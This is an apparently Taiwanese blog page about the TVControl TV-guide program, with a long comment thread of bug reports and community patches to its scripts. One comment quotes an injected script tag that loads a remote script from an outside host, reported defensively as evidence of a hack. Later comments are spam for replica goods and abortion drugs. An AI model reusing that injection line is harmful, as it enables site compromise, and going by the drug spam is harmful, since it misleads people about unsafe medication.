即時「電視節目表」與「選台器」

版本:v2.3.4 版 (2008年4月8日)

下載:tvctrl234.install.exe (120KB)






v2.3.4 (2009/03/27)
- 節目來源HTML改格式配合修改 TvAgent.wsf。(serate)
- 全日節目表點擊節目名稱,可直接上 Google 搜尋。(stanwu.tw)
- 如果已經下載過的節目資料,在程式開啟時就直接顯示。(sean.tw)

66 個回應:

匿名 提到...

感謝大大,節目表正常了
如果是使用預設(更新節目表)
4/14應該是來源沒有抓完整
而不是程式有問題喔
因為用agent自己抓的話
4/14是完整的,再次感謝!

匿名 提到...

忘了提醒大大

[說明]->[此程式首頁]& [關於此程式] 的路徑都還是:

http://sean.o4u.com/ap/TVControl/

與您現在新網址的路徑不同喔

Johnny 提到...

Thank you very much!!

allen 提到...

想請教一下大大

最近我使用的節目表在分類的地方

不是有一個加減號可以把分類縮小嗎

現在不知道為什麼不見了.....

而且重灌也沒用

想請問一下怎麼解決

匿名 提到...

請問vista64bit開啟此程式的時候會出現無法使用TrayEr.ocx元件..
這該如何解決呢?

匿名 提到...

TVcontrol 在vista 64bit安裝執行似乎不正常,請問有方法解決嗎!

Sean Lin 提到...

Vista 目前不支援。
等我有空時會會寫一個可以在 Vista 下執行的 Windows Vista Gadgetes。

小倫 提到...

您好
目前是否無法正常使用了
設定中的三台伺服器都連不到

匿名 提到...

calendar好像有錯
8/7 (今天)應該不是庚申月
應該還是己未月

Johnny5 提到...

感謝sean lin大的修改,
節目表又可以正常更新了,
有需要的人,可以把小弟的主機也加入更新喔!
http://www.justmall.com.tw/TVAgent/

阿銘 提到...

這個程式太方便了,超感謝的。只是不知道沒有其它地區的節啊(大陸)。

Michael 提到...

請問一下,我安裝後,電腦顯示無法開啟TVControl.hta。是因為我少安裝什麼公用程式了嗎?

JOe 提到...

Vista下安裝後無法開啟程式

stanwu 提到...

這是一個很好的工具 強力推薦!

分享AVerTV 不能設定為always on top, 不然TVContol會有一點問題, 關掉就好

另外請問這個程式是用VB寫的嗎?是否可以開放他人加入程式碼維護?

serate 提到...

今天的節目表(20090308.txt)內含有XSS指令
Ex:

00:25 就是愛玩美 (重)<script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script>

不知作者大人可否更新一下程式碼以防範這類攻擊~

Sean Lin 提到...

Re: serate <4346299942840666465>

是被駭了沒錯! 感謝您的提醒。

但駭的怪怪的,它的 <script>標籤被改成HTML註解<!-- 是發輝不了任何作用。

我評估一下有兩種可能:

1. 在資料來源網站(http://www.atmovies.com.tw/)就已經被駭。

2. 在下載提供者的網站(http://www.justmall.com.tw/TVAgent/)被駭。

最有可能的是第1點,因為這樣的指令一個就夠了,不需要重覆那麼多次。
我在抓節目資料時是抓分散在好幾頁的資料,不小心一起抓回來。

第2點不可能的原因是,攻擊程式沒那麼笨、也沒必要去改不會發輝作用的文字檔。

可能是 atmovies 發現被駭增加網站安全,從明日9日開紿就沒發現了。而且我用自己的 TvAgent 重抓也沒有了。

還請大家放心,這個檔不管有沒有被防毒軟體掃到,都發輝不了任何作用。

JYH 提到...

請問這軟體有開放原始碼嗎?

自己也想寫一個這種程式

但是不知道該怎麼做...

Sean Lin 提到...

Re: JYH <3840046580008883976>
原始碼就在安裝目錄裡...

匿名 提到...

大大您好:
目前節目來源格式好像有點變動。

我開啟debug模式,發現各個類別
的節目表分檔有內容(有稍稍不同)

但是被parse後整合成當天檔案
內容卻是空白(只有 EOF)。

可否請您撥空看一下呢。感謝!

-umc

匿名 提到...

補充上述tvagent.wsf問題:

以前抓的:
action=tvdata&tvtimeid=LCH21200804142300&tday={ts '2008-04-15 00:00:00'}&channel_id=CH21

這兩天抓的:
action=tvdata&tvtimeid=LCH18200903202305&tday=2009-03-21&channel_id=CH18

結果生成 2009-03-21x.txt 內容為空白

Thanks
-umc

serate 提到...

不知作者是不是沒空
在作者更新前,急的人可以先自己改:

把TvAgent.wsf第165行正規表示式後半段的
<font .+?<font\s[^>]+>(.*?)<\/font>[\w\W\s]+?<\/td>
改成
<\/font></a><font\s[^>]+>(.*?)<\/font><\/font>[\w\W\s]+?<\/td>

匿名 提到...

感謝 serate 大大的幫忙
已經可以正常解析並存檔
(正規化好難,看到就頭大)

也再次感謝原作的好程式
有空記得多來看看回應喔

小弟一直推廣您的程式
因為實在太好用了

-umc

匿名 提到...

感謝 serate 大的幫忙
雖然可以正常解析並存檔
但是節目表資訊不正確
都是早一天的資訊耶

Sean Lin 提到...

Re: serate <3698894172034498253>

感謝您! Sean 最近有點小忙。

tvcontrol 程式碼是開放的,大家可以起合作。
http://code.google.com/p/tvcontrol/source/list

如果會使用 TortoiseSVN 歡迎加入 Project。
寫 Email 給 stanwu.tw小老鼠gmail.com 或 sean.tw小老鼠gmail.com 都可以。

等 Sean 連絡上節目下載主機提供者,請他們更新 TvAgent 程式再來釋放新的版本。

匿名 提到...

給樓上同好:

將 300 行附近的 Function GetHtml()
下兩行的 URL 變數
改成如下:
URL = "http://tv.atmovies.com.tw/tv/attv.cfm?action=todaytime&tday="&strDay&"&"&"group_id="&CH
因為擷取網只有點變動,所以這裡也需要變動一下
以免一直抓到同一天,事實上不是晚一天
而是你先前抓的都是同一天,供您參考

-umc

匿名 提到...

補充上述被截掉的第二行:
action=todaytime&tday="&strDay&"&"&"group_id="&CH

-umc

ps.若版大有空改版,
可否加入一功能,
就是點中某一節目
直接開啟詳細介紹的連結
這樣就不用再自己開 i.e.
而左鍵本來用於選台
可否自定義改為上述功能
再次感謝!

匿名 提到...

還是被截掉:
再是一次,這次從 tday=開始接
"&strDay&"&"&"group_id="&CH

-umc

匿名 提到...

我照著樓上大大的改法下去修正
可是還是抓不到節目資訊..T_T

serate 提到...

幫umc兄修一下,這次直接來整行好了,怕有些人會少copy一些符號字元:


URL = "http://tv.atmovies.com.tw/tv/attv.cfm?action=todaytime&tday="&strDay&"&group_id="&CH


話說我呆呆用了好幾天都沒注意到網址問題,只想說當日節目表重抓就OK,還以為是@movies一直放錯後幾日的節目表...囧
偏偏最近Discovery有很多節目我都很愛看,結果幾乎都因此錯過了,嘖...

umc 提到...

謝謝 serate 大幫忙

要不是上面同好有疑問
我也納悶了好幾天呢!!

至於錯過的節目也是discovery
我要看的是 "汽車大排檔"...

匿名 提到...

謝謝 umc大跟 serate大的幫忙
節目表資訊正常了

236 提到...

感謝以上更新,說真的,沒有這個程式我就很少看電視 XD

匿名 提到...

請問這個程式能不能在php上執行,或是有可供參考的轉換文件呢?

匿名 提到...

嗯, 小弟就是提供那個節目表下載伺服器的謎之音...

程式一直有正常的排程運作, 小弟也沒去看裡面的資料是否有正常運作...

今天沒事整理一下伺服器才發現節目表都資料內容都只有EOF...SO

所以剛好就上GOOGLE搜尋到這裡晃晃是不是有好的解決方案...

剛剛有試過其他網友的修正程式碼, 目前看來似乎已經正常運作了...

http://nug.org/tvguide2/
http://www.nug.org/tvguide2/

現在應該可以正常運作了...

匿名 提到...

忘了提一下, 假使以後有發生節目表的問題, 也麻煩發一封信給小弟, 小弟的聯絡方式在 TV Control 應該有註明(
如果 Sean 沒有刪掉的話...:P...)

Sean Lin 提到...

Re: 匿名 <9111899079485611524>

嗯嗯,所以以後要去PCDVD找你嗎?
因為你好像不怎麼收 Gmail?

匿名 提到...

Gmail也收, 不過不常上去就是了

你MSN不是可以直接通知我? @@

∞狂貓∞ 提到...

很感激這個程式的開發維護者,它讓我很好查閱電視節目表。

請問一下:
ET_TODAY = 東森新聞S,東森新聞S台,東森財經台,ETtoday,EtToday 財經生活台

此頻道一直沒有節目表,請問如何設定?感謝。

umc 提到...

to 狂貓:

將 channels.ini 中,修改如下
ET_TODAY = 東森財經新聞台
但前提是你您下載來源,他的
tvagent.ini 也要改成如上

若您是用 tvagent.wsf 自己下載
則只要改 tvagent.ini 就可以了

再來要顯示在節目表上
要去修改 channel.ini (沒有s)
舉例:
40 東森財經新聞台 (40可隨意)

若你想改變顯示成,如"東森today"
則 channels.ini 就要改成
ET_TODAY = 東森財經新聞台,東森today (前面不可去掉)

希望對您有幫助

umc 提到...
作者已經移除這則留言。
umc 提到...

整理一下需要更新的節目名稱
---------------------------
ERA_COM = 年代綜合台
ET_TODAY = 東森財經新聞台
PTS_HIHD = Hi_HD
NGW = NG Wild
---------------------------

來源變動,我們就要跟著更改
不然會找不到,而沒有下載到
當然也可以請Sean大改版一下
直接掃描來源才去產生最新的
channels.ini,tvagent.ini
就可以避免困擾(要求太多,嘻)

也感謝加入google搜尋功能
這樣一來,變的好方便喔。

匿名 提到...

怎麼一直以來都沒有人反應每到星期一
節目表的資料就特別少 =.=
結果...只好把DATA中的資料全刪了
再自己點TVAgent,自己跑一趟節目表
希望sean大能在下一版時修正這個問題

Sean Lin 提到...

Re: umc <3764411994107256577>
感謝您整理的資料!
我下個版本會修改。

Sean Lin 提到...

Re: 匿名 <511567785081845564>
可能是 @movie 在星期一上班時才補齊全部的節目。我在考慮以後節目下載以每週為單位,一次抓足一星期。但不知他們星期一幾點才把全部的節目上架。希望有網友可以幫我觀查。

umc 提到...

Sean 大出現了,好棒!

關於一次抓足一週節目表
弟發現較完整的只有三日內
而您前一版有判斷是否大於K數
但這一版好像拿掉了
所以只有三日內的較有參考價值

另發現一個有趣現象
20090419.txt中的 "東森洋片台"
居然不會整合進來
明明2209-0419-M.txt 有資料
可是到了 20090420.txt 就正常

雖然只是一天的怪現象
但提供給您 debug 參考

感謝您,祝順利愉快

umc 提到...

上述 "東森洋片台" 的詭異狀況
在 2009-04-23.txt 又發生了
也就是明明有資料,但txt檔沒有

懷疑是否當天是第一個節目有
"【", "】", "☆"等特殊符號
在作祟!? 可否請版大有空看看

謝謝

TsungWen 提到...

在vista64中執行時
出現
這個網頁的指令碼發生錯誤
行 516
字元 8
錯誤 'length'是null 或不是一個物件
程式碼 0
URL: file:///c:/program%20Files%20(x86)/TVControl/TVControl.hta

立即更新線上節目表後
出現
這個網頁的指令碼發生錯誤
行 498
字元 2
錯誤 在此內容中不允許操作
程式碼 0
URL: file:///c:/program%20Files%20(x86)/TVControl/TVControl.hta

Sean Lin 提到...

Re: TsungWen <4102222143120443998>
這個程式目前還沒考慮支援Vista。

匿名 提到...

小弟在WIN 7 X64也跟樓上有相同的問題.但有個暫時的解決
方法.

XP跟WIN雙系統都安裝節目程式.在WIN 7上執行安裝在XP上
的節目程式..
C:\Program Files\TVControl\data內的文字檔刪除.

匿名 提到...

接上一樓更正..C:\Program Files\TVControl\data內
的TXT檔內的第1個字.把像鑽石的圖案(貼這裡變成 � )
刪除就正常了.往後每日更新的TXT檔也是如此..

Sean Lin 提到...

Re: 匿名 <3952677455830333006>
感謝!看來是BOM的問題。
等小弟有W7環境一定會馬上解決這個問題。或者有程式能力的人也可先幫弟解決。

應該修改 download.wsf 那支程式,在 Function DownloadDay 讓 stm.SaveToFile 不寫BOM(可能要查一下 ADODB.Stream 的文件)。

要不然就改 TVControl.hta 在 function getFromFile 在讀完內容後濾掉 BOM。

匿名 提到...

Sea大您好


不知道有沒有興趣在原有程式中加入中華電信MOD上的頻道的節目表來服務mod的族群,如果有意願的話,小弟願意一起幫忙~~

匿名 提到...

感謝Sean大寫了一個如此好用的軟體,真希望快點有WIN7版

匿名 提到...

不知這一段要如何更改?

Function DownloadDay(doff)
Dim I, MaxI, f, FileSize, ActiveDay, Yesterday, SavePathFile
ActiveDay = DayString(doff)
Yesterday = DayString(doff-1)
SavePathFile = "data\"&ActiveDay&".txt"
If isFileOK(SavePathFile) Then Exit Function

Set stm = WScript.CreateObject("ADODB.Stream")
stm.Type = 2 'adTypeText
stm.Charset = UTF8
Call stm.Open
stm.WriteText GetAllText(ActiveDay)
Call stm.SaveToFile(SavePathFile, 2) 'adSavecreateOverWrite:2
Set stm = Nothing

匿名 提到...

大哥這套真的很棒也很方便用了好幾年都很棒
不過到64位元的win後就無法使用
希望盡快有win7 64版...謝謝您寫出這麼方便的小工具

匿名 提到...

前幾個月發現的小招式.WIN7 X64可以用..
http://twpic.org/uploads2/a9e4095cf3.jpg
看圖說故事..不知道會有什麼"問題"呢..

匿名 提到...

接樓上..
http://tv.atmovies.com.tw/tv/attv.cfm?action=channel
設定/編輯頻道表 要跟開天眼的頻道名一致才會顯示節目表..

46 JET綜合台(原來是"JET 日本台)
57 東森財經新聞台

umc大也有提到過..再雞婆提醒一下..

Fangyaya 提到...

fitflops sale clearance
michael kors outlet
asics shoes
christian louboutin outlet
ralph lauren clearance outlet
ralph lauren outlet
michael kors outlet
kobe 11
juicy couture
mont blanc
polo ralph lauren outlet
coach outlet online
michael kors outlet
michael kors outlet online
cheap oakley sunglasses
michael kors purses
coach factory outlet
rolex submariner
coach outlet
christian louboutin outlet
michael kors outlet clearance
kate spade
louis vuitton outlet stores
louis vuitton outlet
ray ban sunglasses
tods outlet
jordans
louis vuitton outlet
hollister clothing store
true religion jeans
20167.26chenjinyan

chenmeinv0 提到...

giuseppe zanotti sneakers
gucci handbags
polo ralph lauren
ugg boot uk
prada outlet
mavericks jerseys
louis vuitton outlet
uggs on sale
coach factory outlet
christian louboutin sale
2016.10.27xukaimin

Unknown 提到...

這個軟體已經放棄了嗎?目前無法更新節目表

Joseph 提到...

請問,現在大家還有使用嗎?
大約由 2016/11/9 開始,文件資料只剩 1KB,打開來內容是 了 ~

希望大大能維護,謝謝~ 超級方便的工具!

chenlina 提到...

ralph lauren
oakley sunglasses canada
north face jackets
ugg boots
ray ban wayfarer
cheap basketball shoes
nike air max
cheap mlb jerseys
coach outlet
nike roshe run
chenlina20170109

cara menggugurkan kandungan 提到...

for beginners like me need a lot of reading and searching for information on various blogs. and articles that you share a very nice and inspires me .
obat telat datang bulan
obat aborsi
cara menggugurkan kandungan
obat telat bulan
obat penggugur kandungan

Meiqing Xu 提到...

rolex replica watches
ralph lauren
coach factory outlet
gucci handbags
louis vuitton outlet
nfl jerseys
cheap uggs
sac longchamp pas cher
michael kors outlet clearance
fitflops sale clearance
20170224caiyan

kenzo julian 提到...

This is a very good article material and it is very useful for us all. thank you . cara menggugurkan kandungan

chenlina 提到...

north face
toms outlet
michael kors bags
louis vuitton handbags
ray ban sunglasses
michael kors handbags
hermes outlet
nike outlet store
michael kors
coach outlet
chenlina20170720

張貼留言